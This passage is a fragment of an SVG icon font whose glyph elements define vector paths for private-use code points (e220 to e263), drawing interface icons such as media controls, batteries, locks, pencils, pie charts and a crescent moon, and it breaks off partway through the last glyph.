<glyph unicode="&#xe220;" d="M0,384L 112,384L 112-64L0-64zM 224,384L 336,384L 336-64L 224-64z" horiz-adv-x="336"  />
<glyph unicode="&#xe221;" d="M0,384L 448,384L 448-64L0-64z"  />
<glyph unicode="&#xe222;" d="M0,104L 224,384L 448,104 		zM0,48L 447.398,48L 447.398-64L0-64z"  />
<glyph unicode="&#xe223;" d="M 448-64L 112,160L 448,384 		zM0,328L 112,328L 112-8L0-8z"  />
<glyph unicode="&#xe224;" d="M0,384L 336,160L0-64 		zM 336,328L 448,328L 448-8L 336-8z"  />
<glyph unicode="&#xe225;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 140,48L 140,272 l 224.112-112L 140,48z
		"  />
<glyph unicode="&#xe226;" d="M 344.204,0.204L 408.408-64L 448-24.408L 383.796,39.796L 448,104L 280,104L 280-64 		zM0,216L 168,216L 168,384L 103.796,319.796L 40.25,383.398L 0.658,343.806L 64.204,280.204 		zM0-24.408L 39.592-64L 103.796,0.204L 168-64L 168,104L0,104L 64.204,39.796 		zM 280,216L 448,216L 383.796,280.204L 447.454,343.806L 407.862,383.398L 344.204,319.796L 280,384 		z"  />
<glyph unicode="&#xe227;" d="M 392,104L 280,104L 280-8L 316.204,28.204L 408.408-64L 448-24.408L 355.796,67.796 	zM 355.796,252.204L 448,344.408L 408.408,384L 316.204,291.796L 280,328L 280,216L 392,216 	zM 39.592,384L0,344.408L 92.204,252.204L 56,216L 168,216L 168,328L 131.796,291.796 	zM 92.204,67.796L0-24.408L 39.592-64L 131.796,28.204L 168-8L 168,104L 56,104 	z"  />
<glyph unicode="&#xe228;" d="M 383.796,39.796L 319.592,104L 280,64.408L 344.204,0.204L 280-64L 448-64L 448,104 		zM 168,384L0,384L0,216L 64.204,280.204L 127.806,216.658L 167.398,256.25L 103.796,319.796 		zM 168,64.408L 128.408,104L 64.204,39.796L0,104L0-64L 168-64L 103.796,0.204 		zM 448,384L 280,384L 344.204,319.796L 280.602,256.25L 320.194,216.658L 383.796,280.204L 448,216 		z"  />
<glyph unicode="&#xe229;" d="M 411.796,11.796L 319.592,104L 280,64.408L 372.204-27.796L 336-64L 448-64L 448,48 		zM 36.204,308.204L 128.408,216L 168,255.592L 75.796,347.796L 112,384L0,384L0,272 		zM 372.204,347.796L 280,255.592L 319.592,216L 411.796,308.204L 448,272L 448,384L 336,384 		zM 168,64.408L 128.408,104L 36.204,11.796L0,48L0-64L 112-64L 75.796-27.796 		z"  />
<glyph unicode="&#xe22a;" d="M 224,384L 112,384 C 50.148,384,0,333.852,0,272l0-224 c0-61.852, 50.148-112, 112-112l 112,0 c 61.852,0, 112,50.148, 112,112L 336,272 
		C 336,333.852, 285.852,384, 224,384z M 168-36.868c-15.946,0-28.868,12.908-28.868,28.868s 12.936,28.868, 28.868,28.868s 28.868-12.908, 28.868-28.868
		S 183.946-36.868, 168-36.868z M 280,48L 56,48 L 56,272 c0,30.842, 25.13,56, 56,56l 112,0 c 30.842,0, 56-25.158, 56-56L 280,48 z" horiz-adv-x="336"  />
<glyph unicode="&#xe22b;" d="M 448,216l-56,0 l0,28 c0,15.372-12.572,28-28,28L 28,272 c-15.428,0-28-12.628-28-28l0-168 c0-15.372, 12.572-28, 28-28l 336,0 
	c 15.428,0, 28,12.628, 28,28l0,28 l 56,0 L 448,216 z M 336,104L 56,104 L 56,216 l 280,0 L 336,104 z"  />
<glyph unicode="&#xe22c;" d="M 448,216l-56,0 l0,28 c0,15.4-12.572,28-28,28L 28,272 c-15.428,0-28-12.6-28-28l0-168 c0-15.428, 12.572-28, 28-28l 336,0 c 15.428,0, 28,12.572, 28,28l0,28 l 56,0 
		L 448,216 z M 336,104l-112,0 l0,112 l 112,0 L 336,104 z"  />
<glyph unicode="&#xe22d;" d="M 392,216l0,28 c0,15.4-12.6,28-28,28L 28,272 c-15.4,0-28-12.6-28-28l0-168 c0-15.4, 12.6-28, 28-28l 336,0 c 15.4,0, 28,12.6, 28,28l0,28 l 56,0 l0,112 L 392,216 z"  />
<glyph unicode="&#xe22f;" d="M 392,216l0,28 c0,15.4-12.6,28-28,28L 28,272 c-15.4,0-28-12.6-28-28l0-56 l 88.886,0 c 11.55,32.606, 42.56,56, 79.114,56l0-28 l 56,0 l0-28 l-56,0 l0-56 l 56,0 l0-28 l-56,0 l0-28 
	c-36.554,0-67.578,23.394-79.114,56L0,132 l0-56 c0-15.4, 12.6-28, 28-28l 336,0 c 15.4,0, 28,12.6, 28,28l0,28 l 56,0 l0,112 L 392,216 z"  />
<glyph unicode="&#xe230;" d="M 253.75,189.694c 11.158-11.186, 14.112-27.020, 10.066-41.202L 336,272l-121.842-71.946
				C 227.934,203.456, 242.97,200.474, 253.75,189.694zM 194.362,130.306c-10.822,10.794-13.776,25.9-10.388,39.704L 112,48l 123.648,72.24
				C 221.424,116.138, 205.576,119.092, 194.362,130.306zM 224,328c 92.638,0, 168-75.362, 168-168s-75.362-168-168-168S 56,67.362, 56,160S 131.362,328, 224,328 M 224,384
			C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384L 224,384z"  />
<glyph unicode="&#xe231;" d="M0,216L 448,216L 448-64L0-64zM 252,272L 448,272L 392,384L 252,384 		zM 196,384L 56,384L0,272L 196,272 		z"  />
<glyph unicode="&#xe232;" d="M 224,327.972L 224,384 L0,384 l0-392 c0-30.954, 25.046-56, 56-56l 336,0 c 30.898,0, 56,25.046, 56,56L 448,327.972 L 224,327.972 z M 392,159.944L 392-8 L 56-8 L 56,160 l 336,0 L 392,159.944 z
	 M 392,216L 56,216 L 56,328 l 112,0 l0-0.028 L 168,272 l 224,0 L 392,216 z"  />
<glyph unicode="&#xe233;" d="M 448-36c0-15.47-12.53-28-28-28L 28-64 c-15.47,0-28,12.53-28,28L0,216 l 448,0 L 448-36 zM 168,327.972L 168,384L0,384L0,272L 448,272L 448,327.972 		z"  />
<glyph unicode="&#xe234;" d="M 417.816,48C 437.010,80.97, 448,119.092, 448,160c0,123.704-100.296,224-224,224S0,283.704,0,160s 100.296-224, 224-224
		c 61.852,0, 117.852,25.046, 158.368,65.632L 342.72,41.28C 312.326,10.816, 270.326-8, 224-8C 131.362-8, 56,67.362, 56,160S 131.362,328, 224,328s 168-75.362, 168-168
		c0-19.908-3.822-38.934-10.22-56.658L 381.332,104L 336,104 L 336,271.398 l-112,0 c-61.852,0-112-50.148-112-112s 50.148-112, 112-112c 25.704,0, 49.112,9.030, 68.026,23.576
		C 302.204,57.408, 317.73,48, 336,48L 417.816,48 z M 280,187.888l0-28.49 c0-30.898-25.158-56-56-56s-56,25.102-56,56s 25.158,56, 56,56l 56,0 L 280,187.888 z"  />
<glyph unicode="&#xe235;" d="M 128.968-64c-33.026,0-66.066,12.572-91.28,37.674c-50.26,50.372-50.26,132.286,0,182.546l 113.582,111.132
		c 6.454,6.51, 10.178,15.428, 10.178,24.99c0,9.52-3.724,18.48-10.388,25.27C 137.172,331.5, 114.534,331.444, 100.534,317.556
		C 86.744,303.668, 86.744,281.030, 100.632,267.128L 60.984,227.48C 25.284,263.25, 25.284,321.378, 60.942,357.148c 35.868,35.826, 93.954,35.77, 129.696,0.056
		c 17.388-17.332, 26.908-40.418, 26.908-64.918c0-24.5-9.52-47.53-26.908-64.806l-113.554-111.076c-28.28-28.224-28.28-74.592, 0.28-103.082
		c 28.434-28.49, 74.816-28.434, 103.362,0c 28.406,28.49, 28.406,74.872,0,103.306l-19.908,19.796l 60.9,60.872l 39.592-39.592l-23.408-23.408
		c 31.724-49.868, 25.928-117.026-17.612-160.566C 195.118-51.428, 161.994-64, 128.968-64L 128.968-64z" horiz-adv-x="260.75"  />
<glyph unicode="&#xe236;" d="M 28,160c 15.47,0, 28-12.53, 28-28l0-112 c0-15.47-12.53-28-28-28L0-8 l0-56 l 224,0 l0,56 l-27.888,0 C 180.684-8, 168,4.53, 168,20l-0.056,196L0,216 
			l0-56 L 28,160 zM 56,328A56,56 1620 1 1 168,328A56,56 1620 1 1 56,328z" horiz-adv-x="224"  />
<glyph unicode="&#xe237;" d="M 78.4-36A28,28 1620 1 1 134.4-36A28,28 1620 1 1 78.4-36zM 107.464,20.322c-18.704,0-36.26,7.28-49.49,20.51s-20.51,30.786-20.51,49.49s 7.28,36.26, 20.51,49.49
			l 93.632,93.632C 162.204,244.028, 168,258.084, 168,273.036s-5.796,29.008-16.408,39.592c-21.826,21.84-57.344,21.882-79.156,0
			C 61.824,302.044, 56,288.002, 56,273.036L0,273.036 c0,29.918, 11.676,58.058, 32.872,79.226c 42.28,42.322, 115.99,42.294, 158.326-0.028
			C 212.352,331.108, 224,302.982, 224,273.036c0-29.918-11.648-58.030-32.816-79.184L 97.566,100.22c-5.446-5.474-5.446-14.322,0-19.796
			c 5.474-5.474, 14.322-5.474, 19.796,0c 3.556,3.556, 4.102,7.77, 4.102,9.898l 56,0 c0-18.704-7.28-36.26-20.51-49.49
			S 126.168,20.322, 107.464,20.322L 107.464,20.322z" horiz-adv-x="224"  />
<glyph unicode="&#xe238;" d="M 336,384l-56,0 l-56,0 l-56,0 L 112,384 C 50.148,384,0,333.852,0,272s 50.148-112, 112-112l0-224 l 56,0 L 168,328 l 56,0 l0-392 l 56,0 L 280,328 l 56,0 L 336,384 z" horiz-adv-x="336"  />
<glyph unicode="&#xe239;" d="M 392,216L 392,272 l-70.056,0 l 14,112l-56,0 l-14-112l-111.972,0 l 14,112l-56,0 l-14-112L0,272 l0-56 l 90.972,0 L 77,104L0,104 l0-56 l 70,0 l-14-112l 56,0 l 14,112l 111.972,0 l-14-112L 280-64 
		l 14,112l 98,0 l0,56 l-91,0 l 13.944,112L 392,216 z M 244.972,104L 133,104 l 13.972,112l 111.972,0 L 244.972,104z" horiz-adv-x="392"  />
<glyph unicode="&#xe23a;" d="M 448-8L 448,160 l-112,0 c0,61.74, 50.204,112, 112,112L 448,328 c-92.638,0-168-75.362-168-168l0-168 L 448-8 zM 168-8L 168,160 L 56,160 c0,61.74, 50.204,112, 112,112L 168,328 C 75.362,328,0,252.638,0,160l0-168 L 168-8 z"  />
<glyph unicode="&#xe23b;" d="M0,328l0-168 l 112,0 c0-61.74-50.204-112-112-112l0-56 c 92.638,0, 168,75.362, 168,168L 168,328 L0,328 zM 280,328l0-168 l 112,0 c0-61.74-50.204-112-112-112l0-56 c 92.638,0, 168,75.362, 168,168L 448,328 L 280,328 z"  />
<glyph unicode="&#xe23c;" d="M 448-8L 448,328L 280,160L 280-8 		zM 168-8L 168,328L0,160L0-8 		z"  />
<glyph unicode="&#xe23d;" d="M0,328L0-8L 168,160L 168,328 		zM 280,328L 280-8L 448,160L 448,328 		z"  />
<glyph unicode="&#xe23e;" d="M 448,328L0,328L0,384L 448,384 		zM 280,216L0,216L0,272L 280,272 		zM 448,48L0,48L0,104L 448,104 		zM 336-64L0-64L0-8L 336-8 		zM 448-36c0-15.47-12.558-28-27.972-28C 404.516-64, 392-51.47, 392-36s 12.516,28, 28.028,28C 435.442-8, 448-20.53, 448-36z"  />
<glyph unicode="&#xe23f;" d="M 448,328L0,328L0,384L 448,384 		zM 280,216L0,216L0,272L 280,272 		zM 448,104L0,104L0,160L 448,160 		zM0-36A28,28 1620 1 1 56-36A28,28 1620 1 1 0-36zM 224-36A28,28 1620 1 1 280-36A28,28 1620 1 1 224-36zM 112-36A28,28 1620 1 1 168-36A28,28 1620 1 1 112-36z"  />
<glyph unicode="&#xe240;" d="M0,352.002A31.998,31.998 1620 1 1 63.996,352.002A31.998,31.998 1620 1 1 0,352.002zM0,223.994A31.998,31.998 1620 1 1 63.996,223.994A31.998,31.998 1620 1 1 0,223.994zM0,96.002A31.998,31.998 1620 1 1 63.996,96.00200000000001A31.998,31.998 1620 1 1 0,96.00200000000001zM0-32.006A31.998,31.998 1620 1 1 63.996-32.00599999999997A31.998,31.998 1620 1 1 0-32.00599999999997zM 128.008,384L 511.968,384L 511.968,320.004L 128.008,320.004zM 128.008,255.992L 511.968,255.992L 511.968,191.996L 128.008,191.996zM 128.008,128L 511.968,128L 511.968,64.004L 128.008,64.004zM 128.008-0.008L 511.968-0.008L 511.968-64.004L 128.008-64.004z" horiz-adv-x="511.875"  />
<glyph unicode="&#xe241;" d="M0,352A32,32 1620 1 1 64,352A32,32 1620 1 1 0,352zM 128,384L 512,384L 512,320L 128,320zM 128,224A32,32 1620 1 1 192,224A32,32 1620 1 1 128,224zM 256,256L 512,256L 512,192L 256,192zM 128-32A32,32 1620 1 1 192-32A32,32 1620 1 1 128-32zM 256,0L 512,0L 512-64L 256-64zM 256,96A32,32 1620 1 1 320,96A32,32 1620 1 1 256,96zM 384,128L 512,128L 512,64L 384,64z" horiz-adv-x="511.875"  />
<glyph unicode="&#xe242;" d="M 56,384C 25.2,384,0,358.8,0,328l0-336 c0-30.8, 25.2-56, 56-56l 336,0 L 392,384 L 56,384 z M 336-8L 112-8 L 112,328 l 56,0 l0-112 l 56,56l 56-56L 280,328 l 56,0 L 336-8 z" horiz-adv-x="392"  />
<glyph unicode="&#xe243;" d="M 448,328l-56,0 L 392,384 L 56,384 C 25.2,384,0,358.8,0,328l0-336 c0-30.8, 25.2-56, 56-56l 336,0 L 392,216 l 56,0 l-56,56L 448,328z M 336-8L 112-8 L 112,328 l 224,0 L 336-8 zM 168,272L 280,272L 280,216L 168,216z"  />
<glyph unicode="&#xe244;" d="M 224,300c0,0-56,56-224,56l0-336 c 169.75,0, 224-56, 224-56s 54.25,56, 224,56L 448,356 C 280,356, 224,300, 224,300z M 56,300
		c 71.176-5.964, 114.842-22.428, 140-35.77l0-225.526 c-25.158,13.286-68.824,29.75-140,35.77L 56,300 z M 392,74.474c-71.204-6.020-114.842-22.456-140-35.77
		L 252,264.23 C 277.158,277.572, 320.796,294.036, 392,300L 392,74.474 z"  />
<glyph unicode="&#xe245;" d="M 415.184,351.184C 393.372,373.066, 364.714,384, 336,384c-28.658,0-57.316-10.934-79.184-32.816L 0.434,94.816L0-64
		l 158.368,0 l 256.816,256.816C 458.934,236.566, 458.934,307.434, 415.184,351.184z M 135.184-8L 112-8 l0,56 L 56.322,48 l 0.056,23.52L 296.408,311.592l0,0l 79.184-79.184
		l0,0L 135.184-8z"  />
<glyph unicode="&#xe246;" d="M 415.184,351.184C 393.316,373.066, 364.658,384, 336,384s-57.316-10.934-79.184-32.816L 0.434,94.816L0-64l 158.368,0 
		l 256.816,256.816C 458.934,236.566, 458.934,307.434, 415.184,351.184z M 135.184-8L 134.582-8 c 21.868,21.868, 21.868,57.75,0,79.632
		c-20.944,20.944-54.026,21.224-76.020,2.072L 295.918,311.046l 79.184-79.184L 135.184-8z"  />
<glyph unicode="&#xe247;" d="M 415.184,351.184c-43.694,43.75-114.674,43.75-158.368,0L 0.434,94.816L0-64l 158.368,0 l 256.816,256.816
				C 458.934,236.566, 458.934,307.434, 415.184,351.184z M 134.582-8L 55.398-8 l0,79.632 c 21.868,21.868, 57.316,21.868, 79.184,0S 156.464,13.868, 134.582-8z
				 M 374.556,232.408l-79.184,79.184c 21.868,21.868, 57.316,21.868, 79.184,0S 396.424,254.276, 374.556,232.408z"  />
<glyph unicode="&#xe248;" d="M 431.579,367.593c-21.867,21.867-57.314,21.867-79.181,0l-211.743-211.813
			c 18.927-4.928, 36.427-14.433, 50.636-28.657c 14.433-14.433, 23.631-32.045, 28.545-50.524l 211.743,211.813C 453.46,310.279, 453.46,345.725, 431.579,367.593z
			M 151.7,8.349c 21.867,21.867, 21.867,57.314,0,79.181s-57.314,21.867-79.181,0L0-64L 151.7,8.349z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe249;" d="M 431.564,367.592c-21.868,21.868-57.316,21.868-79.184,0L 192.78,208.020c 36.974-13.174, 66.066-42.28, 79.184-79.24
				l 159.6,159.628C 453.446,310.276, 453.446,345.724, 431.564,367.592zM 223.944,85.352c0,41.23-33.474,74.648-74.704,74.648s-74.648-33.418-74.648-74.648l 0.056-0.056
			C 74.592,30.066, 44.576-18.122,0-43.924l 0.224-0.28C 22.148-56.776, 47.53-64, 74.648-64C 157.122-64, 224,2.878, 224,85.352L 223.944,85.352 z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe24a;" d="M 168,48c0,30.954-25.102,56-56,56c-30.954,0-56-25.046-56-56l0-0.112 c0-41.398-22.526-77.49-56-96.852l 0.224-0.168
			C 16.632-58.582, 35.658-64, 56-64C 117.852-64, 168-13.852, 168,48L 168,48zM 431.564,367.592c-21.868,21.868-57.316,21.868-79.184,0L 140.658,155.842c 38.612-10.332, 68.908-40.572, 79.184-79.24
			L 431.564,288.408C 453.446,310.276, 453.446,345.724, 431.564,367.592z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe24b;" d="M 415.17,192.424c 43.694,43.666, 43.694,114.52,0,158.158c-21.826,21.826-50.47,32.76-79.072,32.76
		c-28.574,0-57.232-10.934-79.044-32.76l-8.26-8.26L 207.158,384l-39.48-39.508l 41.678-41.65L0,93.36l0-101.472 L 55.020-64l 103.796,0 l 208.614,208.684
		l 40.25-40.278l 39.536,39.48l-40.306,40.278L 415.17,192.424z M 144.48,0.862c 0.658,21.224-6.678,42.49-22.806,58.632
		c-14.826,14.868-34.174,22.148-53.648,22.806L 248.892,263.222l 79.002-78.946L 144.48,0.862z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe24c;" d="M0,48L 224.014-8L 448,48L 448-8L 224.014-64L0-8 		zM0,160L 224.014,104L 448,160L 448,104L 224.014,48L0,104 		zM0,272L 224.014,216L 448,272L 448,216L 224.014,160L0,216 		zM0,384L 224.014,328L 448,384L 448,328L 224.014,272L0,328 		z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe24d;" d="M0,76L 224.014,20L 448,76L 448,20L 224.014-36L0,20 		zM0,188L 224.014,132L 448,188L 448,132L 224.014,76L0,132 		zM0,300L 224.014,356L 448,300L 448,244L 224.014,188L0,244 		z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe24e;" d="M 112,48L 112,160L 168,216L 224,160L 336,272L 448,160L 448,48 		zM 56-8L 56,384L0,328L0-8L0-64L 56-64L 392-64L 448-8 		z"  />
<glyph unicode="&#xe24f;" d="M 224,104A56,56 1620 1 1 336,104A56,56 1620 1 1 224,104zM 392,272l-46.046,93.002C 342.174,376.048, 331.73,384, 319.368,384L 242.48,384 c-12.502,0-23.044-8.148-26.656-19.39
			L 168.056,272L 56,272 c-30.926,0-56-25.074-56-56l0-280 l 448,0 L 448,216 C 448,246.926, 422.954,272, 392,272z M 84,160c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28
			S 99.47,160, 84,160z M 280-8c-61.852,0-112,50.148-112,112s 50.148,112, 112,112s 112-50.148, 112-112S 341.852-8, 280-8z"  />
<glyph unicode="&#xe250;" d="M 296.408,188.28l 79.674,135.296C 336.112,360.788, 282.954,384, 224,384c-13.972,0-27.51-1.666-40.768-4.102
			L 296.408,188.28zM 279.342,104l 160.72,0 C 444.724,121.99, 448,140.526, 448,160c0,54.222-20.020,103.278-52.122,142.030L 279.342,104zM 231,244l-75.712,128.128C 92.288,351.702, 41.342,304.956, 16.632,244L 231,244 zM 218.862,76l 75.474-127.638c 62.286,20.776, 112.546,67.214, 137.046,127.638L 218.862,76 zM 169.47,216L 7.924,216 C 3.248,198.010,0,179.474,0,160c0-54.474, 20.23-103.74, 52.584-142.632L 169.47,216zM 152.852,132.546l-80.416-136.612C 112.378-40.928, 165.326-64, 224-64c 14.574,0, 28.77,1.638, 42.546,4.27
			L 152.852,132.546z"  />
<glyph unicode="&#xe251;" d="M 424.326,258.378l-139.622-139.622l 159.138,0 C 446.362,132.224, 448,145.888, 448,160
			C 448,195.462, 439.026,228.572, 424.326,258.378zM 294.77,170.64l 114.842,114.786c-27.342,40.306-67.816,70.294-114.842,86.044L 294.77,170.64 zM 234.472,89.23l 114.87-114.898c 40.362,27.286, 70.378,67.816, 86.128,114.898L 234.472,89.23 zM 265.202,219.584L 265.202,379.842 C 251.804,382.334, 238.112,384, 224,384c-35.77,0-69.132-9.156-99.12-24.094L 265.202,219.584zM 182.798,99.072l0-158.928 C 196.196-62.362, 209.888-64, 224-64c 35.434,0, 68.474,8.974, 98.28,23.632
			L 182.798,99.072zM 153.202,149.178L 38.5,34.49c 27.286-40.25, 67.732-70.224, 114.702-85.974L 153.202,149.178 zM 4.158,201.202C 1.666,187.804,0,174.112,0,160c0-35.546, 9.030-68.684, 23.73-98.49l 139.706,139.706L 4.158,201.216 zM 97.944,345.066C 57.974,317.78, 28.196,277.544, 12.53,230.798l 199.696,0 L 97.944,345.066z"  />
<glyph unicode="&#xe252;" d="M 192.374,112.428l-140.112,140c-69.678-80.556-69.678-199.458,0-280L 192.374,112.428zM 280.014,325.788l0-205.044 L 135.086-24.24C 167.678-48.572, 207.27-64, 251.020-64C 359.842-64, 448,24.046, 448,132.826
			C 448.014,231.638, 374.752,311.704, 280.014,325.788zM 224,159.776L 224,384 C 162.974,380.22, 107.842,356.868, 63.322,320.482L 224,159.776z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe253;" d="M 203.462,112.092L 55.37,260.184c-73.822-85.204-73.822-210.98,0-296.184L 203.462,112.092zM 224,132L 224,384 C 155.316,379.73, 93.408,353.48, 43.442,312.572L 224,132zM 252.028,327.776l0-207.368 L 106.666-24.954C 139.258-48.908, 178.528-64, 221.956-64C 331.408-64, 420,24.592, 420,133.862
			C 420,232.954, 346.822,313.23, 252.028,327.776z" horiz-adv-x="420"  />
<glyph unicode="&#xe254;" d="M 336,384L 448,384L 448-64L 336-64zM 168,272L 280,272L 280-64L 168-64zM0,160L 112,160L 112-64L0-64z"  />
<glyph unicode="&#xe255;" d="M 336,384L 392,384L 392-64L 336-64zM 224,272L 280,272L 280-64L 224-64zM 112,160L 168,160L 168-64L 112-64zM0,48L 56,48L 56-64L0-64z" horiz-adv-x="392"  />
<glyph unicode="&#xe256;" d="M 224,328C 100.296,328,0,162.184,0,162.184S 100.296-8, 224-8s 224,170.184, 224,170.184S 347.704,328, 224,328z M 224,48
			c-61.852,0-112,50.148-112,112s 50.148,112, 112,112s 112-50.148, 112-112S 285.852,48, 224,48zM 168,160A56,56 1620 1 1 280,160A56,56 1620 1 1 168,160z"  />
<glyph unicode="&#xe257;" d="M 168,160C 75.25,160,0,84.75,0-8c0-30.954, 25.046-56, 56-56l 224,0 c 30.954,0, 56,25.046, 56,56
			C 336,84.75, 260.75,160, 168,160zM 84,300A84,84 1620 1 1 252,300A84,84 1620 1 1 84,300z" horiz-adv-x="336"  />
<glyph unicode="&#xe258;" d="M 224,384L0,160l 56,0 l0-224 l 336,0 L 392,160 l 56,0 L 224,384z M 336-8l-84,0 l0,84 l-56,0 l0-84 L 112-8 L 112,192.816 L 224,272l 112-79.184L 336-8 z"  />
<glyph unicode="&#xe259;" d="M 224,328c 92.638,0, 168-75.362, 168-168s-75.362-168-168-168S 56,67.362, 56,160S 131.362,328, 224,328 M 224,384
			C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384L 224,384zM 299.908,123.908L 252,171.872L 252,272 l-56.322,0 l0-111.888 c0-8.428, 3.878-15.694, 9.73-20.888l 54.908-54.908
			L 299.908,123.908z"  />
<glyph unicode="&#xe25a;" d="M 196.056,384c-77.14,0-139.972-62.776-139.972-140l0-28 L0,216 l0-196 c0-46.27, 37.73-84, 83.972-84L 252-64 c 46.382,0, 84,37.73, 84,84L 336,244 
			C 336,321.224, 273.224,384, 196.056,384z M 112.084,244c0,46.368, 37.702,84, 83.972,84C 242.382,328, 280,290.368, 280,244l0-28 L 112.084,216 L 112.084,244 z M 252-8L 83.972-8 
			c-15.428,0-28,12.572-28,28L 55.972,160 L 280,160 l0-140 C 280,4.572, 267.526-8, 252-8zM 196,76c0-15.428-12.572-28-28-28c-15.526,0-28,12.572-28,28c0,15.526, 12.474,28, 28,28C 183.428,104, 196,91.526, 196,76z" horiz-adv-x="336"  />
<glyph unicode="&#xe25b;" d="M 196,384C 118.888,384, 56.056,321.224, 56.056,244l0-28 L0,216 l0-196 c0-46.326, 37.674-84, 84-84l 168,0 c 46.326,0, 84,37.674, 84,84L 336,244 
		C 336,321.224, 273.168,384, 196,384z M 167.944,48C 152.53,48, 140,60.53, 140,76s 12.53,28, 27.944,28c 15.47,0, 28-12.53, 28-28S 183.428,48, 167.944,48z M 280,216
		L 112.056,216 l0,28 c0,46.326, 37.674,84, 83.944,84c 46.326,0, 84-37.674, 84-84L 280,216 z" horiz-adv-x="336"  />
<glyph unicode="&#xe25c;" d="M 196.056,384C 118.86,384, 56.084,321.168, 56.084,244l 56,0 c0,46.27, 37.646,84, 83.972,84S 280,290.27, 280,244l0-28 L0,216 l0-196 
			c0-46.368, 37.674-84, 83.972-84L 252-64 c 46.326,0, 84,37.632, 84,84L 336,244 C 336,321.168, 273.224,384, 196.056,384z M 252-8L 83.972-8 c-15.428,0-28,12.53-28,28L 55.972,160 L 280,160 l0-140 
			C 280,4.53, 267.428-8, 252-8zM 196,76c0-15.526-12.53-28-28-28s-28,12.474-28,28c0,15.428, 12.53,28, 28,28S 196,91.428, 196,76z" horiz-adv-x="336"  />
<glyph unicode="&#xe25d;" d="M 196.056,384C 118.832,384, 56.112,321.224, 56.112,244l 55.944,0 c0,46.326, 37.632,84, 84,84C 242.326,328, 280,290.326, 280,244l0-28 L0,216 l0-196 
		c0-46.326, 37.73-84, 84-84l 168,0 c 46.27,0, 84,37.674, 84,84L 336,244 C 336,321.224, 273.168,384, 196.056,384z M 168,48c-15.428,0-28,12.53-28,28s 12.572,28, 28,28
		c 15.526,0, 28-12.53, 28-28S 183.526,48, 168,48z" horiz-adv-x="336"  />
<glyph unicode="&#xe25e;" d="M0,384l0-185.822 L 262.178-64c0,0,0,151.102,0,185.78c 34.678,0, 185.822,0, 185.822,0L 185.822,384L0,384 z M 165.158,334.132
				c 10.822-10.78, 110.306-110.362, 162.428-162.47c-43.428,0-115.276,0-115.276,0s0-71.862,0-115.178C 160.174,108.536, 60.704,208.076, 49.868,218.786
				c0,14.77,0,83.454,0,115.332C 81.76,334.132, 150.388,334.132, 165.158,334.132zM 163.786,263.418c0-23.842-19.362-43.204-43.148-43.204c-23.842,0-43.204,19.362-43.204,43.204
			c0,23.786, 19.362,43.092, 43.204,43.092C 144.424,306.51, 163.786,287.204, 163.786,263.418z"  />
<glyph unicode="&#xe25f;" d="M 185.878,384L0,384 l0-185.878 L 262.066-64L 262.066,121.878 L 448,121.878 L 185.878,384z M 102.368,228.306c-29.428,0-53.27,23.842-53.27,53.27
		S 72.94,334.846, 102.368,334.846s 53.27-23.842, 53.27-53.27S 131.796,228.306, 102.368,228.306z"  />
<glyph unicode="&#xe260;" d="M 224.014,216c 30.842,0, 56-25.13, 56-56s-25.158-56-56-56s-56,25.13-56,56S 193.172,216, 224.014,216 M 224.014,272
			c-61.852,0-112-50.148-112-112s 50.148-112, 112-112C 285.866,48, 336,98.148, 336,160S 285.866,272, 224.014,272L 224.014,272zM 196,356A28,28 1620 1 1 252,356A28,28 1620 1 1 196,356zM 56,300A28,28 1620 1 1 112,300A28,28 1620 1 1 56,300zM 28,188c 15.47,0, 28-12.53, 28-28c0-15.498-12.53-28-28-28s-28,12.502-28,28C0,175.47, 12.53,188, 28,188zM 56,20A28,28 1620 1 1 112,20A28,28 1620 1 1 56,20zM 196-36c0,15.526, 12.53,28, 28,28c 15.512,0, 28-12.474, 28-28c0-15.428-12.488-28-28-28C 208.53-64, 196-51.428, 196-36zM 336,20A28,28 1620 1 1 392,20A28,28 1620 1 1 336,20zM 420,132c-15.456,0-28,12.544-28,28c0,15.498, 12.544,28, 28,28s 28-12.502, 28-28C 448,144.544, 435.456,132, 420,132zM 336,300A28,28 1620 1 1 392,300A28,28 1620 1 1 336,300z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe261;" d="M 224.014,272c-61.852,0-112-50.148-112-112s 50.148-112, 112-112C 285.866,48, 336,98.148, 336,160S 285.866,272, 224.014,272L 224.014,272zM 196,356A28,28 1620 1 1 252,356A28,28 1620 1 1 196,356zM 56,300A28,28 1620 1 1 112,300A28,28 1620 1 1 56,300zM 28,188c 15.47,0, 28-12.53, 28-28c0-15.498-12.53-28-28-28s-28,12.502-28,28C0,175.47, 12.53,188, 28,188zM 56,20A28,28 1620 1 1 112,20A28,28 1620 1 1 56,20zM 196-36c0,15.526, 12.53,28, 28,28c 15.512,0, 28-12.474, 28-28c0-15.428-12.488-28-28-28C 208.53-64, 196-51.428, 196-36zM 336,20A28,28 1620 1 1 392,20A28,28 1620 1 1 336,20zM 420,132c-15.456,0-28,12.544-28,28c0,15.498, 12.544,28, 28,28s 28-12.502, 28-28C 448,144.544, 435.456,132, 420,132zM 336,300A28,28 1620 1 1 392,300A28,28 1620 1 1 336,300z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe262;" d="M 82.53,255.928c 11.872-125.426, 112-225.526, 237.398-237.342c-26.74-16.954-58.128-26.572-91-26.572
		C 133.546-8, 56,69.546, 56,164.956C 56,197.814, 65.632,229.174, 82.53,255.928 M 165.816,384C 70.28,356.434,0,269.354,0,164.956C0,38.48, 102.48-64, 228.928-64
		c 104.398,0, 191.52,70.322, 219.072,165.816c-30.52-17.612-65.408-28.434-103.138-28.434c-114.632,0-207.48,92.946-207.48,207.508
		C 137.368,318.62, 148.204,353.508, 165.816,384L 165.816,384z"  />
<glyph unicode="&#xe263;" d="M 344.862,73.424c-114.632,0-207.48,92.918-207.48,207.48c0,37.73, 10.822,72.632, 28.434,103.082
